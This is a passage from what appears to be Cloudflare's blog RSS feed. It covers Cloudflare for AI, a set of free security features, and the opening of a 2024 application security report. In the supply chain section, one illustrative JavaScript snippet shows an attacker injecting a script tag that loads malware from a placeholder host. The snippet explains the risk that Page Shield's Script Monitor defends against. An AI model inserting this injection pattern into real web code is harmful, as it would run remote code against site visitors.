            <content:encoded><![CDATA[ <p>AI is transforming businesses — from <a href="https://developers.cloudflare.com/agents/"><u>automated agents performing background workflows</u></a>, to improved search, to easier access and summarization of knowledge. </p><p>While we are still early in what is likely going to be a substantial shift in how the world operates, two things are clear: the Internet, and how we interact with it, will change, and the boundaries of security and data privacy have never been more difficult to trace, making security an important topic in this shift.</p><p>At Cloudflare, we have a mission to help build a better Internet. And while we can only speculate on what AI will bring in the future, its success will rely on it being reliable and safe to use.</p><p>Today, we are introducing <a href="https://www.cloudflare.com/press-releases/2025/cloudflare-introduces-cloudflare-for-ai/"><u>Cloudflare for AI</u></a>: a suite of tools aimed at helping businesses, developers, and content creators adopt, deploy, and <a href="https://blog.cloudflare.com/best-practices-sase-for-ai/">secure AI technologies</a> at scale safely.</p><p>Cloudflare for AI is not just a grouping of tools and features, some of which are new, but also a commitment to focus our future development work with AI in mind.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4s1CIOnpHnIdWPdFrzS6e1/a29e0ffa7123d69e855b3eac6d0a154f/1.png" />
          </figure><p>Let’s jump in to see what Cloudflare for AI can deliver for developers, security teams, and content creators…</p>
    <div>
      <h3>For developers</h3>
      <a href="#for-developers">
        
      </a>
    </div>
    <p>If you are building an AI application, whether a fully custom application or a vendor-provided hosted or SaaS application, Cloudflare can help you deploy, store, control/observe, and protect your AI application from threats.</p><p><b>Build &amp; deploy</b>: <a href="https://www.cloudflare.com/en-gb/developer-platform/products/workers-ai/"><u>Workers AI</u></a> and our new <a href="https://developers.cloudflare.com/agents/"><u>AI Agents SDK</u></a> facilitates the scalable development &amp; deployment of AI applications on Cloudflare’s network. Cloudflare’s network enhances user experience and efficiency by running AI closer to users, resulting in low-latency and high-performance AI applications. Customers are also using <a href="https://www.cloudflare.com/developer-platform/products/r2/"><u>Cloudflare’s R2</u></a> to <a href="https://www.cloudflare.com/the-net/cloud-egress-fees-challenge-future-ai/">store their AI training data with zero egress fees</a>, in order to develop the next-gen AI models. </p><p>We are continually investing in not only our serverless AI inference infrastructure across the globe, but also in making Cloudflare the best place to <a href="https://blog.cloudflare.com/build-ai-agents-on-cloudflare/"><u>build AI Agents</u></a>. Cloudflare’s composable AI architecture has all the primitives that enable AI applications to have real time communications, persist state, execute long-running tasks, and repeat them on a schedule. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2M1dOiI89ecQAb1y0SJ57E/dcc98c263ea9503aa0aacdf69326fa9d/2.png" />
          </figure><p><b>Protect and control</b>: Once your application is deployed, be it directly on Cloudflare, using Workers AI, or running on your own infrastructure (cloud or on premise), Cloudflare’s <a href="https://developers.cloudflare.com/ai-gateway/"><u>AI Gateway</u></a> lets you gain visibility into the cost, usage, latency, and overall performance of the application.</p><p>Additionally, <a href="https://blog.cloudflare.com/take-control-of-public-ai-application-security-with-cloudflare-firewall-for-ai/"><u>Firewall for AI</u></a> lets you layer security on top by automatically ensuring every prompt is clean from injection, and that personally identifiable information (PII) is neither submitted to nor (coming soon) extracted from, the application.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4dDiUMSKDoqyrPgzjiHfkx/22a2a9e159f8efcbf2b2a43f9bdf2a9b/3.png" />
          </figure>
    <div>
      <h3>For security teams</h3>
      <a href="#for-security-teams">
        
      </a>
    </div>
    <p>Security teams have a growing new challenge: ensure AI applications are used securely, both in regard to internal usage by employees, as well as by users of externally-facing AI applications the business is responsible for. Ensuring PII data is handled correctly is also a growing major concern for CISOs.</p><p><b>Discover applications: </b>You can’t protect what you don’t know about. Firewall for AI’s discovery capability lets security teams find AI applications that are being used within the organization without the need to perform extensive surveys.</p><p><b>Control PII flow and access: </b>Once discovered, via Firewall for AI or other means, security teams can leverage <a href="https://www.cloudflare.com/learning/access-management/what-is-ztna/"><u>Zero Trust Network Access (ZTNA)</u></a> to ensure only authorized employees are accessing the correct applications. Additionally, using Firewall for AI, they can ensure that, even if authorised, neither employees nor potentially external users, are submitting or extracting personally identifiable information (PII) to/from the application.</p><p><b>Protect against exploits: </b>Malicious users are targeting AI applications with novel attack vectors, as these applications are often connected to internal data stores. With Firewall for AI and the broader Application Security portfolio, you can protect against a wide number of exploits highlighted in the <a href="https://genai.owasp.org/resource/owasp-top-10-for-llm-applications-2025/"><u>OWASP Top 10 for LLM applications</u></a>, including, but not limited to, prompt injection, sensitive information disclosure, and improper output handling.</p><p><b>Safeguarding conversations: </b>With <a href="https://blog.cloudflare.com/guardrails-in-ai-gateway/"><u>Llama Guard</u></a> integrated into both AI Gateway and Firewall for AI, you can ensure both input and output of your AI application is not toxic, and follows topic and sentiment rules based on your internal business policies.</p>
    <div>
      <h3>For content creators</h3>
      <a href="#for-content-creators">
        
      </a>
    </div>
    <p>The advent of AI is arguably putting content creators at risk, with sophisticated LLM models now generating both text, images, and videos of high quality. <a href="https://blog.cloudflare.com/declaring-your-aindependence-block-ai-bots-scrapers-and-crawlers-with-a-single-click/"><u>We’ve blogged in the past about AI Independence, our approach to safeguarding content creators</u></a>, for both individuals and businesses. If you fall in this category, we have the right tools for you too.</p><p><b>Observe who is accessing your content:</b> With our <a href="https://blog.cloudflare.com/cloudflare-ai-audit-control-ai-content-crawlers/"><u>AI Crawl Control </u><i><u>(formerly AI Audit</u></i><u>)</u></a>, you gain visibility (who, what, where and when) into the AI platforms crawling your site to retrieve content to use for AI training data. We are constantly classifying and adding new vendors as they create new crawlers.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6s9WmTy7EQyOF6mCZd6KTc/1ba40dd811bb81de26da04155655e6d8/4.png" />
          </figure><p><b>Block access: </b>If AI crawlers do not follow robots.txt or other relevant standards, or are potentially unwanted, you can <a href="https://www.cloudflare.com/learning/ai/how-to-block-ai-crawlers/">block access outright</a>. We’ve <a href="https://blog.cloudflare.com/declaring-your-aindependence-block-ai-bots-scrapers-and-crawlers-with-a-single-click/"><u>provided a simple “one click” button</u></a> for customers using Cloudflare on our self-serve plans to protect their website. Larger organizations can build fine tune rules using our <a href="https://www.cloudflare.com/en-gb/application-services/products/bot-management/"><u>Bot Management</u></a> solution allowing them to target individual bots and create custom filters with ease.</p>
    <div>
      <h3>Cloudflare for AI: making AI security simple</h3>
      <a href="#cloudflare-for-ai-making-ai-security-simple">
        
      </a>
    </div>
    <p>If you are using Cloudflare already, or the <a href="https://www.cloudflare.com/ai-security/">deployment and security of AI applications</a> is top of mind, <a href="https://www.cloudflare.com/lp/cloudflare-for-ai/"><u>reach out</u></a>, and we can help guide you through our suite of AI tools to find the one that matches your needs.</p><p>Ensuring AI is scalable, <a href="https://www.cloudflare.com/learning/ai/what-is-ai-security/">safe</a> and resilient, is a natural extension of Cloudflare’s mission, given so much of our success relies on a safe Internet.</p> ]]></content:encoded>
            <category><![CDATA[Security Week]]></category>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Security]]></category>
            <guid isPermaLink="false">7lPwwGmoPaSddtdNRcq4Wv</guid>
            <dc:creator>Michael Tremante</dc:creator>
        </item>
        <item>
            <title><![CDATA[A safer Internet with Cloudflare: free threat intelligence, analytics, and new threat detections]]></title>
            <link>https://blog.cloudflare.com/a-safer-internet-with-cloudflare/</link>
            <pubDate>Tue, 24 Sep 2024 13:00:00 GMT</pubDate>
            <description><![CDATA[ Today, we are taking some big steps forward in our mission to help build a better Internet. Cloudflare is giving everyone free access to 10+ different website and network security products and features. ]]></description>
            <content:encoded><![CDATA[ <p>Anyone using the Internet likely touches Cloudflare’s network on a daily basis, either by accessing a site protected by Cloudflare, using our <a href="https://1.1.1.1/dns"><u>1.1.1.1 resolver</u></a>, or connecting via a network using our Cloudflare One products.</p><p>This puts Cloudflare in a position of great responsibility to make the Internet safer for billions of users worldwide. Today we are providing threat intelligence and more than 10 new security features for free to all of our customers. Whether you are using Cloudflare to <a href="https://www.cloudflare.com/learning/security/glossary/website-security-checklist/">protect your website</a>, your home network, or your office, you will find something useful that you can start using with just a few clicks.</p><p>These features are focused around some of the largest growing concerns in cybersecurity, including <a href="https://www.cloudflare.com/zero-trust/solutions/account-takeover-prevention/"><u>account takeover attacks</u></a>, <a href="https://blog.cloudflare.com/tag/supply-chain-attacks/"><u>supply chain attacks</u></a>, <a href="https://www.cloudflare.com/learning/security/api/what-is-api-security/"><u>attacks against API endpoints</u></a>, <a href="https://www.cloudflare.com/network-services/products/magic-network-monitoring/"><u>network visibility</u></a>, and <a href="https://www.cloudflare.com/learning/access-management/what-is-dlp/"><u>data leaks from your network</u></a>.</p>
    <div>
      <h2>More security for everyone</h2>
      <a href="#more-security-for-everyone">
        
      </a>
    </div>
    <p>You can read more about each one of these features in the sections below, but we wanted to provide a short summary upfront.</p><p><b>If you are a cyber security enthusiast: </b>you can head over to our <a href="http://cloudflare.com/threat-intelligence/"><u>new Cloudforce One threat intelligence website</u></a> to find out about threat actors, attack campaigns, and other Internet-wide security issues.</p><p><b>If you are a website owner</b>: starting today, all free plans will get access to <a href="https://developers.cloudflare.com/waf/analytics/security-analytics/"><u>Security Analytics</u></a> for their zones. Additionally, we are also making <a href="https://developers.cloudflare.com/dns/additional-options/analytics/"><u>DNS Analytics</u></a> available to everyone via GraphQL.</p><p>Once you have visibility, it’s all about distinguishing good from malicious traffic. All customers get access to always-on <a href="https://developers.cloudflare.com/waf/managed-rules/check-for-exposed-credentials/"><u>account takeover attack detection</u></a>, <a href="https://developers.cloudflare.com/api-shield/security/schema-validation/"><u>API schema validation</u></a> to enforce a positive security model on their API endpoints, and <a href="https://developers.cloudflare.com/page-shield/detection/monitor-connections-scripts/"><u>Page Shield script monitor</u></a> to provide visibility into the third party assets that you are loading from your side and that could be used to perform supply chain-based attacks.</p><p><b>If you are using Cloudflare to protect your people and network</b>: We are going to bundle a number of our Cloudflare One products into a new free offering. This bundle will include the current <a href="https://www.cloudflare.com/plans/zero-trust-services/"><u>Zero Trust products we offer for free</u></a>, and new products like <a href="https://www.cloudflare.com/network-services/products/magic-network-monitoring/"><u>Magic Network Monitoring</u></a> for network visibility, <a href="https://www.cloudflare.com/learning/access-management/what-is-dlp/"><u>Data Loss Prevention</u></a> for sensitive data, and <a href="https://www.cloudflare.com/learning/performance/what-is-digital-experience-monitoring/"><u>Digital Experience Monitoring</u></a> for measuring network connectivity and performance. Cloudflare is the only vendor to offer free versions of these types of products.</p><p><b>If you are a new user: </b>We have new options for authentication. Starting today, we are introducing the option to use Google Authentication to sign up and log into Cloudflare, which will make it easier for some of our customers to login, and reduce dependence on remembering passwords, consequently reducing the risk of their Cloudflare account becoming compromised.</p><p>And now in more detail:</p>
    <div>
      <h2>Threat Intelligence &amp; Analytics</h2>
      <a href="#threat-intelligence-analytics">
        
      </a>
    </div>
    
    <div>
      <h3>Cloudforce One</h3>
      <a href="#cloudforce-one">
        
      </a>
    </div>
    <p>Our threat research and operations team, <a href="https://blog.cloudflare.com/introducing-cloudforce-one-threat-operations-and-threat-research/"><u>Cloudforce One</u></a>, is excited to announce the launch of a <a href="http://cloudflare.com/threat-intelligence/"><u>freely accessible dedicated threat intelligence website</u></a>. We will use this site to publish both technical and executive-oriented information on the latest threat actor activity and tactics, as well as insights on emerging malware, vulnerabilities, and attacks.</p><p>We are also publishing two new pieces of threat intelligence, along with a promise for more. Head over to the <a href="http://cloudflare.com/threat-intelligence/"><u>new website</u></a> here to see the latest research, covering an advanced threat actor targeting regional organizations across South and East Asia, as well as the rise of double brokering freight fraud. Future research and data sets will also become available as a new<a href="https://developers.cloudflare.com/security-center/indicator-feeds/"> <u>Custom Indicator Feed</u></a><u> </u>for customers.</p><p><a href="http://cloudflare.com/threat-intelligence/"><u>Subscribe</u></a> to receive email notifications of future threat research.</p>
    <div>
      <h3>Security Analytics</h3>
      <a href="#security-analytics">
        
      </a>
    </div>
    <p>Security Analytics gives you a security lens across <b>all</b> of your HTTP traffic, not only mitigated requests, allowing you to focus on what matters most: traffic deemed malicious but potentially not mitigated. This means that, in addition to using Security Events to view security actions taken by our Application Security suite of products, you can use Security Analytics to review all of your traffic for anomalies or strange behavior and then use the insights gained to craft precise mitigation rules based on your specific traffic patterns. Starting today, we are making this lens available to customers across all plans.</p><p>Free and Pro plan users will now have access to <a href="https://dash.cloudflare.com/?to=/:account/:zone/security/analytics"><u>a new dashboard</u></a> for Security Analytics where you can view a high level overview of your traffic in the Traffic Analysis chart, including the ability to group and filter so that you can zero in on anomalies with ease. You can also see top statistics and filter across a variety of dimensions, including countries, source browsers, source operating systems, HTTP versions, SSL protocol version, cache status, and security actions.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7oBM7D78NDErNNgIPRSJN9/055440bfd256bb2f128d5d99858a5748/image6.jpg" />
          </figure>
    <div>
      <h3>DNS Analytics</h3>
      <a href="#dns-analytics">
        
      </a>
    </div>
    <p>Every user on Cloudflare now has access to <a href="https://dash.cloudflare.com/?to=/:account/:zone/dns/analytics"><u>the new and improved DNS Analytics dashboard</u></a> as well as access to the new DNS Analytics dataset in our <a href="https://developers.cloudflare.com/analytics/graphql-api/"><u>powerful GraphQL API</u></a>. Now, you can easily analyze the DNS queries to your domain(s), which can be useful for troubleshooting issues, detecting patterns and trends, or generating usage reports by applying powerful filters and breaking out DNS queries by source.</p><p>With the <a href="https://blog.cloudflare.com/foundation-dns-launch"><u>launch of Foundation DNS</u></a>, we introduced new DNS Analytics based on GraphQL, but these analytics were previously only available for zones using <a href="https://developers.cloudflare.com/dns/foundation-dns/advanced-nameservers/"><u>advanced nameservers</u></a>. However, due to the deep insight these analytics provide, we felt this feature was something we should make available to everyone. Starting today, the new DNS Analytics based on GraphQL can be accessed on every zone using Cloudflare’s Authoritative DNS service under Analytics in the DNS section.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3LJ4aIFB4pHhHtWeWzYlgV/96c701d7c826a92e1220c7cd85f40f88/image5.png" />
          </figure>
    <div>
      <h2>Application threat detection and mitigation</h2>
      <a href="#application-threat-detection-and-mitigation">
        
      </a>
    </div>
    
    <div>
      <h3>Account takeover detection</h3>
      <a href="#account-takeover-detection">
        
      </a>
    </div>
    <p><a href="https://techreport.com/statistics/cybersecurity/password-reuse-statistics/"><u>65% of Internet users</u></a> are vulnerable to account takeover (ATO) due to password reuse and the rising frequency of large data breaches. Helping build a better Internet involves making critical account protection easy and accessible for everyone.</p><p>Starting today, we’re providing robust account security that helps prevent credential stuffing and other ATO attacks to everyone for free — from individual users to large enterprises — making enhanced features like Leaked Credential Checks and ATO detections available at no cost. </p><p>These updates include automatic detection of logins, brute force attack prevention with minimal setup, and access to a comprehensive leaked credentials database of over 15 billion passwords which will contain leaked passwords from the <a href="https://haveibeenpwned.com/"><u>Have I been Pwned (HIBP)</u></a> service in addition to our own database. Customers can take action on the leaked credential requests through Cloudflare’s WAF features like <a href="https://developers.cloudflare.com/waf/rate-limiting-rules"><u>Rate Limiting Rules</u></a> and <a href="https://developers.cloudflare.com/waf/custom-rules/"><u>Custom Rules</u></a>, or they can take action at the origin by enforcing <a href="https://www.cloudflare.com/learning/access-management/what-is-multi-factor-authentication/"><u>multi-factor authentication (MFA)</u></a> or requiring a password reset based on a header sent to the origin.</p><p>Setup is simple: Free plan users get automatic detections, while paid users can activate the new features via one click in the Cloudflare dashboard. For more details on setup and configuration, refer to our <a href="https://developers.cloudflare.com/waf/detections/leaked-credentials/"><u>documentation</u></a> and use it today!</p>
    <div>
      <h3>API schema validation</h3>
      <a href="#api-schema-validation">
        
      </a>
    </div>
    <p>API traffic <a href="https://www.cloudflare.com/2024-api-security-management-report/"><u>comprises more than half</u></a> of the dynamic traffic on the Cloudflare network. The popularity of APIs has opened up a whole new <a href="https://cyware.com/news/unprotected-database-belonging-to-justdial-exposes-personal-information-of-almost-100-million-users-1d5bb7a9"><u>set</u></a> of <a href="https://venturebeat.com/security/t-mobile-data-breach-shows-api-security-cant-be-ignored/"><u>attack</u></a> <a href="https://venturebeat.com/security/twitter-breach-api-attack/"><u>vectors</u></a>. Cloudflare API Shield’s <a href="https://developers.cloudflare.com/api-shield/security/schema-validation/"><u>Schema Validation</u></a> is the first step to <a href="https://blog.cloudflare.com/api-gateway/"><u>strengthen</u></a> your API security in the face of these new threats.</p><p>Now for the first time, <i>any</i> Cloudflare customer can use Schema Validation to ensure only valid requests to their API make it through to their origin.</p><p>This functionality stops accidental information disclosure due to bugs, stops developers from haphazardly exposing endpoints through a non-standard process, and automatically blocks zombie APIs as your API inventory is kept up-to-date as part of your <a href="https://www.cloudflare.com/learning/serverless/glossary/what-is-ci-cd/">CI/CD process</a>.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3PMaRYLTwff6D7sdXRysJ7/728deb51cbec996c6741c428639b6900/image2.png" />
          </figure><p>We suggest you use Cloudflare’s <a href="https://developers.cloudflare.com/api/operations/api-shield-schema-validation-post-schema"><u>API</u></a> or Terraform <a href="https://developers.cloudflare.com/api-shield/reference/terraform/"><u>provider</u></a> to add endpoints to Cloudflare API Shield and update the schema after your code’s been released as part of your post-build CI/CD process. That way, API Shield becomes a go-to API inventory tool, and <a href="https://developers.cloudflare.com/api-shield/security/schema-validation/"><u>Schema Validation</u></a> will take care of requests towards your API that you aren’t expecting.</p><p>While APIs are all about integrating with third parties, sometimes integrations are done by loading libraries directly into your application. Next up, we’re helping secure more of the web by protecting users from malicious third party scripts that steal sensitive information from inputs on your pages.</p>
    <div>
      <h3>Supply chain attack prevention</h3>
      <a href="#supply-chain-attack-prevention">
        
      </a>
    </div>
    <p>Modern web apps improve their users’ experiences and cut down on developer time through the use of third party JavaScript libraries. Because of its privileged access level to everything on the page, a compromised third party JavaScript library can surreptitiously <a href="https://www.cloudflare.com/learning/security/what-is-data-exfiltration/">exfiltrate sensitive information</a> to an attacker without the end user or site administrator realizing it’s happened.</p><p>To counter this threat, we introduced Page Shield <a href="https://blog.cloudflare.com/introducing-page-shield/"><u>three years ago</u></a>. We are now releasing Page Shield’s Script Monitor for free to all our users.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5b6sxHcCLgIAHfb6Qub6NR/ae2f22ed1d2126804a5bc6e333d64fed/image3.png" />
          </figure><p>With <a href="https://dash.cloudflare.com/?to=/:account/:zone/security/page-shield"><u>Script Monitor</u></a>, you’ll see <i>all</i> JavaScript assets loaded on the page, not just the ones your developers included. This visibility includes scripts dynamically loaded by other scripts! Once an attacker compromises the library, it is trivial to add a new malicious script without changing the context of the original HTML by instead including new code in the existing included JavaScript asset:</p>
            <pre><code>// Original library code (trusted)
function someLibraryFunction() {
    // useful functionality here
}

// Malicious code added by the attacker
let malScript = document.createElement('script');
malScript.src = 'https://example.com/malware.js';
document.body.appendChild(malScript);</code></pre>
            <p>Script Monitor was essential when the <a href="https://blog.cloudflare.com/polyfill-io-now-available-on-cdnjs-reduce-your-supply-chain-risk"><u>news broke of the pollyfill.io library</u></a> changing ownership. Script Monitor users had immediate visibility to the scripts loaded on their sites and could quickly and easily understand if they were at risk.</p><p>We’re happy to extend visibility of these scripts to as much of the web as we can by releasing Script Monitor for all customers. Find out how you can get started <a href="https://developers.cloudflare.com/page-shield/detection/monitor-connections-scripts/"><u>here in the docs</u></a>.</p><p>Existing users of Page Shield can immediately filter on the monitored data, knowing whether polyfill.io (or any other library) is used by their app. In addition, we <a href="https://blog.cloudflare.com/automatically-replacing-polyfill-io-links-with-cloudflares-mirror-for-a-safer-internet/"><u>built a polyfill.io rewrite</u></a> in response to the compromised service, which was automatically enabled for Free plans in June 2024.</p>
    <div>
      <h3>Turnstile as a Google Firebase extension </h3>
      <a href="#turnstile-as-a-google-firebase-extension">
        
      </a>
    </div>
    <p>We're excited to announce the <a href="https://developers.cloudflare.com/turnstile/extensions/google-firebase/"><u>Cloudflare Turnstile App Check Provider for Google Firebase</u></a>, which offers seamless integration without the need for manual setup. This new extension allows developers building mobile or web applications on Firebase to protect their projects from bots using Cloudflare’s CAPTCHA alternative. By leveraging Turnstile's bot detection and challenge capabilities, you can ensure that only authentic human visitors interact with your Firebase backend services, enhancing both security and user experience. Cloudflare Turnstile, a privacy-focused CAPTCHA alternative, differentiates between humans and bots without disrupting the user experience. Unlike traditional CAPTCHA solutions, which users often abandon, Turnstile operates invisibly and provides various modes to ensure frictionless user interactions.</p><p>The Firebase App Check extension for Turnstile is easy to integrate, allowing developers to quickly enhance app security with minimal setup. This extension is also free with unlimited usage with Turnstile’s free tier. By combining the strengths of Google Firebase's backend services and Cloudflare’s Turnstile, developers can offer a secure and seamless experience for their users. </p>
    <div>
      <h2>Cloudflare One</h2>
      <a href="#cloudflare-one">
        
      </a>
    </div>
    <p><a href="https://www.cloudflare.com/zero-trust/"><u>Cloudflare One</u></a> is a comprehensive <a href="https://www.cloudflare.com/learning/access-management/what-is-sase/"><u>Secure Access Service Edge (SASE)</u></a> platform designed to protect and connect people, apps, devices, and networks across the Internet. It combines services such as Zero Trust Network Access (ZTNA), Secure Web Gateway (SWG), and more into a single solution. Cloudflare One can help everyone secure people and networks, manage access control, protect against cyber threats, safeguard their data, and improve the performance of network traffic by routing it through Cloudflare’s global network. It replaces traditional security measures by offering a cloud-based approach to secure and streamline access to corporate resources.</p><p>Everyone now has free access to four new products that have been added to Cloudflare One over the past two years:</p><ul><li><p><a href="https://www.cloudflare.com/learning/access-management/what-is-a-casb/"><u>Cloud Access Security Broker (CASB)</u></a> for mitigating SaaS application risk<i>.</i></p></li><li><p><a href="https://www.cloudflare.com/learning/access-management/what-is-dlp/"><u>Data Loss Prevention (DLP)</u></a> for protecting sensitive data from leaving your network and SaaS applications<i>.</i></p></li><li><p><a href="https://www.cloudflare.com/learning/performance/what-is-digital-experience-monitoring/"><u>Digital Experience Monitoring</u></a> for seeing a user’s experience when they are on any network.</p></li><li><p><a href="https://www.cloudflare.com/network-services/products/magic-network-monitoring/"><u>Magic Network Monitoring</u></a> for seeing all the traffic that flows through your network<i>.</i></p></li></ul><p>This is in addition to the existing network security products already in the Cloudflare One platform:</p><ul><li><p><a href="https://www.cloudflare.com/learning/access-management/what-is-ztna/"><u>Access</u></a> for verifying users’ identity and only letting them use the applications they’re meant to be using.</p></li><li><p><a href="https://www.cloudflare.com/learning/access-management/what-is-a-secure-web-gateway/"><u>Gateway</u></a> for protecting network traffic that both goes out to the public Internet and into your private network.</p></li><li><p><a href="https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/"><u>Cloudflare Tunnel</u></a>, our app connectors, which includes both cloudflared and WARP Connector for connecting different applications, servers, and private networks to Cloudflare’s network.</p></li><li><p><a href="https://developers.cloudflare.com/cloudflare-one/connections/connect-devices/warp/"><u>Cloudflare WARP</u></a>, our device agent, for securely sending traffic from a laptop or mobile device to the Internet.</p></li></ul><p>Anyone with a Cloudflare account will automatically receive 50 free seats across all of these products in their Cloudflare One organization. Visit our <a href="https://www.cloudflare.com/plans/zero-trust-services/"><u>Zero Trust &amp; SASE plans page</u></a> for more information about our free products and to learn about our Pay-as-you-go and Contract plans for teams above 50 members.</p>
    <div>
      <h2>Authenticating with Google</h2>
      <a href="#authenticating-with-google">
        
      </a>
    </div>
    <p>The Cloudflare dashboard itself has become a vital resource that needs to be protected, and we spend a lot of time ensuring Cloudflare user accounts do not get compromised.</p><p>To do this, we have increased security by adding additional authentication methods including app-based two-factor authentication (2FA), passkeys, SSO, and Sign in with Apple. Today we’re adding the ability to sign up and sign in with a Google account.</p><p>Cloudflare supports several authentication workflows tailored to different use cases. While SSO and passkeys are the preferred and most secure methods of authentication, we believe that providing authentication factors that are stronger than passwords will fill a gap and raise overall average security for our users. Signing in with Google makes life easier for our users and prevents them from having to remember yet another password when they’re already browsing the web with a Google identity.</p><p>Sign in with Google is based on the <a href="https://oauth.net/2/"><u>OAuth 2.0</u></a> specification, and allows Google to securely share identifying information about a given identity while ensuring that it is Google providing this information, preventing any malicious entities from impersonating Google.</p><p>This means that we can delegate authentication to Google, preventing zero knowledge attacks directly on this Cloudflare identity.</p><p>Upon coming to the Cloudflare Sign In page, you will be presented with the button below. Clicking on it will allow you to register for Cloudflare, and once you are registered, it will allow you to sign in without typing in a password, using any existing protections you have set on your Google account.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6Sse03ivX432bBV01nfyUx/1ce8ace19aa3e4228735d1ca7bd3528c/Screenshot_2024-09-23_at_16.02.49.png" />
            
            </figure><p>With the launch of this capability, Cloudflare now uses its own Cloudflare Workers to provide an abstraction layer for <a href="https://openid.net/developers/how-connect-works/"><u>OIDC</u></a>-compatible identity providers (such as GitHub and Microsoft accounts), which means our users can expect to see more <a href="https://www.cloudflare.com/learning/access-management/what-is-an-identity-provider/"><u>identity provider (IdP)</u></a> connection support coming in the future.</p><p>At this time, only new customers signing up with Google will be able to sign in with their Google account, but we will be implementing this for more of our users going forward, with the ability to link/de-link social login providers, and we will be adding additional social login methods. Enterprise users with an established SSO setup will not be able to use this method at this time, and those with an established SSO setup based on Google Workspace will be forwarded to their SSO flow, as we consider how to streamline the Access and IdP policies that have been set up to lock down your Cloudflare environment.</p><p>If you are new to Cloudflare, and have a Google account, it is easier than ever to start using Cloudflare to protect your websites, build a new service, or try any of the other services that Cloudflare provides.</p>
    <div>
      <h2>A safer Internet</h2>
      <a href="#a-safer-internet">
        
      </a>
    </div>
    <p>One of Cloudflare’s goals has always been to democratize cyber security tools, so everyone can provide content and connect to the Internet safely, even without the resources of large enterprise organizations.</p><p>We have decided to provide a large set of new features for free to all Cloudflare users, covering a wide range of security use cases, for web administrators, network administrators, and cyber security enthusiasts.</p><p><a href="https://dash.cloudflare.com/"><u>Log in to your Cloudflare account</u></a> to start taking advantage of these announcements today. We love feedback on our <a href="https://community.cloudflare.com/"><u>community forums</u></a>, and we commit to improving both existing features and new features moving forward.</p>
    <div>
      <h2>Watch on Cloudflare TV</h2>
      <a href="#watch-on-cloudflare-tv">
        
      </a>
    </div>
    <div>
  
</div><p></p> ]]></content:encoded>
            <category><![CDATA[Birthday Week]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[CASB]]></category>
            <category><![CDATA[DLP]]></category>
            <category><![CDATA[Data Loss Prevention]]></category>
            <category><![CDATA[Threat Intelligence]]></category>
            <category><![CDATA[Zero Trust]]></category>
            <category><![CDATA[Cloudflare One]]></category>
            <category><![CDATA[Page Shield]]></category>
            <category><![CDATA[Leaked Credential Checks]]></category>
            <category><![CDATA[SASE]]></category>
            <guid isPermaLink="false">3hUMWCRTsPTuqyUixn3aXp</guid>
            <dc:creator>Michael Tremante</dc:creator>
            <dc:creator>Reid Tatoris</dc:creator>
        </item>
        <item>
            <title><![CDATA[Application Security report: 2024 update]]></title>
            <link>https://blog.cloudflare.com/application-security-report-2024-update/</link>
            <pubDate>Thu, 11 Jul 2024 17:00:00 GMT</pubDate>
            <description><![CDATA[ Cloudflare’s updated 2024 view on Internet cyber security trends spanning global traffic insights, bot traffic insights, API traffic insights, and client-side risks ]]></description>
            <content:encoded><![CDATA[ <p></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/QISWKhi85GFq3Aqcj9NSX/a983a69c4df14e83712ecc0beb71117a/AD_4nXftYZ9tWp6nRYAEltNHH2LVZZDWKRMZn4Y8oTwdLKuFY-wcPHiULhXzJouGXdjVVDpCeR9T63J_cCxqSzKoq4QsgeXVxQ7MmkL5GS0muw5jhWFRr1fhfpVoH314" />
            
            </figure><p>Over the last twelve months, the Internet security landscape has changed dramatically. Geopolitical uncertainty, coupled with an active 2024 voting season in many countries across the world, has led to a substantial increase in malicious traffic activity across the Internet. In this report, we take a look at Cloudflare’s perspective on Internet application security.</p><p>This report is the fourth edition of our Application Security Report and is an official update to our <a href="/application-security-report-q2-2023">Q2 2023 report</a>. New in this report is a section focused on client-side security within the context of web applications.</p><p>Throughout the report we discuss various insights. From a global standpoint, mitigated traffic across the whole network now averages 7%, and WAF and Bot mitigations are the source of over half of that. While DDoS attacks remain the number one attack vector used against web applications, targeted CVE attacks are also worth keeping an eye on, as we have seen exploits as fast as 22 minutes after a proof of concept was released.</p><p>Focusing on bots, about a third of all traffic we observe is automated, and of that, the vast majority (93%) is not generated by bots in Cloudflare’s verified list and is potentially malicious.</p><p>API traffic is also still growing, now accounting for 60% of all traffic, and maybe more concerning, is that organizations have up to a quarter of their API endpoints not accounted for.</p><p>We also touch on client side security and the proliferation of third-party integrations in web applications. On average, enterprise sites integrate 47 third-party endpoints according to Page Shield data.</p><p>It is also worth mentioning that since the last report, our network, from which we gather the data and insights, is bigger and faster: we are now processing an average of 57 million HTTP requests/second (<b>+23.9%</b> YoY) and 77 million at peak (<b>+22.2%</b> YoY). From a DNS perspective, we are handling 35 million DNS queries per second (<b>+40%</b> YoY). This is the sum of authoritative and resolver requests served by our infrastructure.</p><p>Maybe even more noteworthy, is that, focusing on HTTP requests only, in Q1 2024 Cloudflare blocked an average of 209 billion cyber threats each day (<b>+86.6%</b> YoY). That is a substantial increase in relative terms compared to the same time last year.</p><p>As usual, before we dive in, we need to define our terms.</p>
    <div>
      <h2>Definitions</h2>
      <a href="#definitions">
        
      </a>
    </div>
